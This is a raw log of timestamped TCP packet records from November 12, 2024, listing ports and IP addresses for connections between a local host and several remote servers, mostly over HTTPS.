Nov 12, 2024 10:37:11.939769030 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.940207958 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.940212011 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.944788933 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.945101023 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.945136070 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.945713997 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.945719957 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.946630955 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.947071075 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.947088957 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.947562933 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.947570086 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.949440956 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.949755907 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.949769974 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.950083017 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:11.950088024 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:11.950650930 CET	443	49715	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.950830936 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.950839996 CET	443	49715	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.951824903 CET	443	49715	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.951879978 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.952151060 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.952210903 CET	443	49715	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.952250957 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.953763962 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.953933001 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.953942060 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.954912901 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.954968929 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.955219030 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.955279112 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.955300093 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.971256971 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.971477032 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.971489906 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.972500086 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.972568989 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.972841024 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.972898006 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.972939968 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.976716042 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.992053032 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:11.992062092 CET	443	49715	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.995330095 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:11.997046947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:11.997109890 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:12.008135080 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.008151054 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.019329071 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.023099899 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.023113012 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.038279057 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.054245949 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.065491915 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.065515041 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.065568924 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.065695047 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.065695047 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.065860987 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.065887928 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.065898895 CET	49719	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.065905094 CET	443	49719	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.067804098 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.067898989 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.068000078 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.068133116 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.068133116 CET	49722	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.068149090 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.068159103 CET	443	49722	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.068922997 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.068953991 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.069411993 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.069427013 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.069876909 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.069895029 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.069953918 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.069989920 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.070044994 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.070178032 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.070189953 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.076186895 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.076203108 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.076248884 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.076266050 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.076297998 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.076472998 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.076472998 CET	49723	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.076493979 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.076503038 CET	443	49723	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.078521013 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.078531027 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.078603029 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.078726053 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.078736067 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.080087900 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.080205917 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.080261946 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.080277920 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.080277920 CET	49720	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.080286980 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.080295086 CET	443	49720	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.082043886 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.082062960 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.082142115 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.082261086 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.082272053 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.090610027 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.090629101 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.090667963 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.090684891 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.090718985 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.090883970 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.090890884 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.090899944 CET	49721	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.090904951 CET	443	49721	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.092741013 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.092750072 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.092817068 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.092936993 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.092951059 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.210448027 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.210498095 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.210721016 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.210758924 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.210781097 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.210805893 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.210822105 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.219721079 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.219798088 CET	443	49715	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.219868898 CET	49715	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.250968933 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.253371954 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.253417015 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.253444910 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.253509998 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.253528118 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.253751993 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.253779888 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.253801107 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.253810883 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.253820896 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.261219025 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.261239052 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.261904955 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.261965036 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.262110949 CET	443	49716	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.262121916 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.262159109 CET	49716	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.262993097 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.263046980 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.263055086 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.291712046 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.291750908 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.293318987 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.293404102 CET	443	49718	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.293566942 CET	49718	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.306961060 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.306968927 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.348866940 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.372529030 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.372597933 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.372842073 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.372857094 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.384490013 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.384552002 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.384561062 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.389288902 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.389372110 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.389379025 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.398793936 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.398864985 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.398878098 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.433751106 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.433958054 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.433969975 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.487790108 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.491632938 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.503705025 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.503741026 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.503925085 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.503935099 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.504003048 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.508347034 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.515619040 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.515803099 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.515813112 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.519280910 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.519360065 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.519368887 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.552756071 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.552793026 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.552845955 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.552855968 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.552890062 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.610894918 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.622911930 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.623016119 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.623032093 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.640571117 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.640616894 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.640636921 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.640640974 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.640655041 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.640686989 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.640847921 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.640922070 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.640973091 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.640983105 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.641110897 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.646653891 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.674571037 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.675035000 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.675045967 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.718010902 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.729949951 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.742005110 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.742080927 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.742094040 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.746704102 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.746766090 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.746773958 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.760015011 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.760056019 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.760070086 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.760077953 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.760117054 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.760144949 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.791137934 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.791219950 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.791229010 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.797113895 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.797663927 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.797683001 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.798168898 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.798173904 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.802933931 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.803267002 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.803298950 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.803672075 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.803678036 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.808031082 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.808346033 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.808357000 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.808765888 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.808769941 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.809572935 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.809864044 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.809885025 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.810261011 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.810266018 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.822252035 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.822560072 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.822575092 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.822925091 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.822928905 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.835115910 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.835124969 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.849220991 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.849293947 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.849318027 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.849325895 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.849365950 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.867307901 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.879158020 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.879211903 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.879219055 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.879360914 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.879399061 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.879425049 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.879431963 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.879467010 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.879472017 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.879486084 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.879528999 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.910229921 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.925637960 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.925765991 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.925940990 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.926011086 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.926031113 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.926048994 CET	49726	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.926054955 CET	443	49726	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.929059029 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.929090023 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.929306030 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.929523945 CET	49731	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.929537058 CET	443	49731	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.933115959 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.933377028 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.933445930 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.933494091 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.933506966 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.933537006 CET	49727	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.933542013 CET	443	49727	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.935740948 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.935766935 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.935851097 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.935977936 CET	49732	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.935992956 CET	443	49732	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.936881065 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.936985016 CET	443	49729	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.937073946 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.937073946 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.937073946 CET	49729	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.938581944 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.938687086 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.939157963 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.939192057 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.939194918 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.939218044 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.939218044 CET	49728	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.939224005 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.939230919 CET	443	49728	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.939254999 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.939508915 CET	49733	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.939522982 CET	443	49733	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.941097021 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.941111088 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.941389084 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.941521883 CET	49734	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.941533089 CET	443	49734	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.951083899 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.951204062 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.951255083 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.951423883 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.951428890 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.951456070 CET	49730	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.951459885 CET	443	49730	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.953393936 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.953416109 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.953541994 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.953661919 CET	49735	443	192.168.2.6	13.107.246.45
Nov 12, 2024 10:37:12.953674078 CET	443	49735	13.107.246.45	192.168.2.6
Nov 12, 2024 10:37:12.957379103 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.957431078 CET	49717	443	192.168.2.6	142.250.185.196
Nov 12, 2024 10:37:12.957439899 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.968472958 CET	443	49717	142.250.185.196	192.168.2.6
Nov 12, 2024 10:37:12.968528032 CET	443	49717	142.250.185.196	192.168.2.6
